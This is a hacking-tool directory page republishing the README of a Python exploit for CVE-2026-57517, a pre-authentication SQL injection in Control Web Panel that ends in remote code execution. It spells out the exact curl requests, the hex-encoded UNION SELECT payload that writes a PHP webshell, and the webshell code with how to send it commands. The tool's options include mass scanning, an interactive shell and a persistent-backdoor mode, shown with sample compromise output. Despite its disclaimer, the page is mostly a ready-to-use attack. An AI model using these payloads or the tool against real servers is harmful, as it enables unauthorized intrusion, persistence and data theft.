Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

Β·Β·FeedsΒ·ContactΒ·PrivacyΒ·Β© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/shinthink/cve-2026-57517
Vulnerability ScannersExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access ToolPayload Development
GitHubshinthink/cve-2026-57517

CVE-2026-57517

πŸ’‰ Blind SQL Injection β†’ RCE exploit for Control Web Panel (CWP) ≀ 0.9.8.1224 β€” userRes POST β†’ INTO DUMPFILE β†’ cwpsvc shell

View Repository
1122 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

CVE-2026-57517 β€” Control Web Panel Blind SQLi β†’ RCE

Python CVE CVSS License

Control Web Panel ≀ 0.9.8.1224 β€” Blind SQL Injection to Remote Code Execution

Port 2083 β†’ userRes POST β†’ INTO DUMPFILE β†’ Port 2031 Webshell β†’ cwpsvc



πŸ”΄ Vulnerability Overview

CVE-2026-57517 is a critical pre-authentication blind SQL injection in versions ≀ 0.9.8.1224. The POST parameter at the user panel endpoint is not sanitized before being embedded in an SQL query. Queries execute with privileges β€” which holds the global privilege β€” allowing attackers to write arbitrary files via .

Control Web Panel (CWP)
userRes
MySQL root
FILE
INTO DUMPFILE

The typical exploitation chain deploys a PHP webshell to the web-accessible Roundcube logs directory, achieving remote code execution as the cwpsvc service account.

FieldDetail
CVECVE-2026-57517
CVSS9.8 (Critical) β€” CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
TypeCWE-89 β€” Blind SQL Injection (Pre-Auth)
AffectedControl Web Panel ≀ 0.9.8.1224
FixedVersion 0.9.8.1225
DisclosureJuly 1, 2026
ResearcherEgidio Romano (Karma In Security)
PoCPublic β€” KIS-2026-12

πŸ“¦ Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-57517.git
cd CVE-2026-57517
pip install -r requirements.txt

πŸ“– Usage

root@kitploit:~
# Single target (auto-detect username)
python cve_2026_57517.py -t 192.168.1.100

# Single target with known username
python cve_2026_57517.py -t 192.168.1.100 -u cwpsvc

# Mass scan
python cve_2026_57517.py -f targets.txt -o live.txt

# Interactive shell
python cve_2026_57517.py -t target.com --rce -u cwpsvc

# Persistent backdoor (no auto-cleanup)
python cve_2026_57517.py -t target.com --no-cleanup
root@kitploit:~
  -t, --target      Single target host
  -f, --file        File with targets (one per line)
  -u, --username    CWP username (skips auto-detection)
  -o, --output      Live TXT output file
  --json            JSON report file
  --threads         Concurrent workers (default: 20)
  --timeout         Request timeout seconds (default: 15)
  --no-cleanup      Leave shells on target
  --rce             Interactive shell mode
  -v, --verbose     Verbose output

πŸ§ͺ Proof of Concept

Scenario 1: Mass Scan

root@kitploit:~
$ python cve_2026_57517.py -f targets.txt -o live.txt -v
root@kitploit:~
────────────────────────────────────────────────────────────
  CVE-2026-57517 | 5 targets | 20 threads
  Cleanup: yes
  Live TXT: live.txt
────────────────────────────────────────────────────────────

  βœ… 192.168.10.100:2083  [rce_confirmed]  18.2s
     User  : admin
     Shell : https://192.168.10.100:2031/roundcube/logs/cwp_a3f2b9c1d8e4.php
     RCE   : uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)
             cwp-prod-01.example.com
     whoami: cwpsvc

  ⚠️ 192.168.10.200:2083  [sqli_failed]  12.1s
     User  : cwpsvc
     Error : SQL injection failed β€” target may be patched or path not writable

  Β· 192.168.10.50:2083  [not_cwp]  2.3s

==================================================
  SCAN SUMMARY
==================================================
  Total      : 5
  βœ… RCE      : 2
  ⚠️  SQLi Fail : 1
  πŸ” No User  : 1
  Β·  Not CWP  : 1
==================================================

Scenario 2: Interactive Shell

root@kitploit:~
$ python cve_2026_57517.py -t target.com --rce -u admin
root@kitploit:~
  CWP Interactive Shell β€” target.com
  Type 'exit' to quit, 'cleanup' to remove shell

cwp$ id
uid=1001(cwpsvc) gid=1001(cwpsvc) groups=1001(cwpsvc)

cwp$ hostname
cwp-prod-01

cwp$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
cwpsvc:x:1001:1001::/home/cwpsvc:/bin/bash

cwp$ exit

Scenario 3: Manual Reproduction (curl)

Step 1 β€” Verify CWP is reachable on port 2083

root@kitploit:~
curl -sk 'https://target.com:2083/' | grep -i 'control web panel\|CWP'

Step 2 β€” Validate username

root@kitploit:~
curl -sk -o /dev/null -w "%{http_code}" 'https://target.com:2083/admin/'
# 200 = user exists

Step 3 β€” SQL injection via userRes

The payload uses a 13-column UNION SELECT with a hex-encoded PHP shell written via INTO DUMPFILE:

root@kitploit:~
" UNION SELECT 1,0x{HEX_PHP_SHELL},3,4,5,6,7,8,9,10,11,12,13
INTO DUMPFILE '/usr/local/cwpsrv/var/services/roundcube/logs/shell.php' #
root@kitploit:~
# The tool handles hex encoding automatically. Manual equivalent:
PAYLOAD='" UNION SELECT 1,0x3c3f706870206576616c286261736536345f6465636f646528245f5345525645525b22485454505f43225d29293b203f3e,3,4,5,6,7,8,9,10,11,12,13 INTO DUMPFILE '\''/usr/local/cwpsrv/var/services/roundcube/logs/shell.php'\'' #'

curl -sk 'https://target.com:2083/admin/' \
  -d "userRes=$PAYLOAD"

Step 4 β€” Execute commands via webshell (port 2031)

The deployed PHP shell reads commands from the C: HTTP header:

root@kitploit:~
<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
root@kitploit:~
# Base64-encode: print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';
PHP=$(echo "print '___CMD___'; passthru(base64_decode('aWQ=')); print '___CMD___';" | base64 -w0)

curl -sk 'https://target.com:2031/roundcube/logs/shell.php' -H "C: $PHP"
# uid=1001(cwpsvc) gid=1001(cwpsvc)

Payload Breakdown

ComponentValue
SQL columns13-column UNION SELECT
PHP shell<?php eval(base64_decode($_SERVER['HTTP_C'])); ?>
Hex encodingMySQL 0x... hex literal
Write methodINTO DUMPFILE (binary-exact file write)
Target path/usr/local/cwpsrv/var/services/roundcube/logs/{uniqid}.php
Command deliveryHTTP header C: with base64-encoded PHP
Command executorpassthru(base64_decode('{cmd}'))

⚠️ Disclaimer

🚨 FOR EDUCATIONAL & AUTHORIZED TESTING PURPOSES ONLY

This software is provided solely for educational purposes and legitimate security research. It is intended to be used by:

  • πŸ›‘οΈ Security professionals conducting authorized penetration tests
  • 🏒 Organizations auditing their own CWP infrastructure
  • πŸ”¬ Researchers studying vulnerability exploitation techniques
  • πŸŽ“ Students learning about web application security

❌ You may NOT use this software to:

  • Access computer systems without explicit written authorization
  • Compromise, damage, or disrupt systems you do not own
  • Engage in illegal activity of any kind

βš–οΈ Legal Notice

Unauthorized access to computer systems violates laws including but not limited to:

  • United States: Computer Fraud and Abuse Act (18 U.S.C. Β§ 1030)
  • Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • European Union: Directive 2013/40/EU
  • United Kingdom: Computer Misuse Act 1990

The author(s) assume NO LIABILITY for any misuse, damage, or legal consequences resulting from the use of this tool. By using this software, you acknowledge that you are solely responsible for your actions and agree to comply with all applicable laws.


πŸ“š References

ResourceLink
Karma In Security AdvisoryKIS-2026-12
Original PoCCVE-2026-57517.php
Full DisclosureSecLists
OpenCVECVE-2026-57517
CWP Changelogcontrol-webpanel.com

⚑ Built for security research & education ⚑

This project is not affiliated with Control Web Panel or the Apache Software Foundation.

Download Tool